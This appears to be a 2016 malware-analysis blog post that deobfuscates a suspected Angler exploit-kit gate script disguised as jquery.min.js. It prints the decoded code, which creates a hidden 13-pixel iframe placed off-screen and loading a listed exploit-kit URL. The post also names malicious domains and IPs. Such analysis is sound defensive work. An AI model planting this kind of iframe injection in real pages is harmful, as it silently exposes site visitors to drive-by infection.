I saw today's blog by @malware_traffic on 2016-06-02 - EK DATA DUMP (ANGLER EK, KAIXIN EK, RIG EK). In Brad's notes he listed 2 urls that I thought I'd look into a bit more today
18.104.22.168 port 80 - positivessl.online - GET /script/jquery.min.js - possible gate to Angler EK (I think)
22.214.171.124 port 80 - strachubedabbling.thompsons-online.co.uk - Angler EK
So I created the variable
I added the HTML, BODY, and SCRIPT tags. I replaced the malicious function calls at the bottom with simply console.log statements.
Then I performed very similar steps removing all function calls (things typically with open close parenthesis) and replaced them with console.log statements to dump what the attacker was going to do without actually executing it. The results were the following simple iframe creating code.
window[document][createElement](iframe)[width] = 13;
window[document][createElement](iframe)[height] = 13;
window[document][createElement](iframe)[style][cssText] = 'position:absolute;left:-1658px;top:-1668px';
window[document][createElement](iframe)[src] = 'http://strachubedabbling.thompsons-online.co.uk/YxuZYR/rTkNnLU/fOhXXjpeY/00757/sdmmTqbwdx-092620-zkbgrwhi.jpg';
So now we know what the bad guy was doing, without actually running it. He was creating a new iframe, setting the height and width to something tiny, setting the position off the screen so nobody sees it, and then setting the iframe url source to his malicious angler exploit.
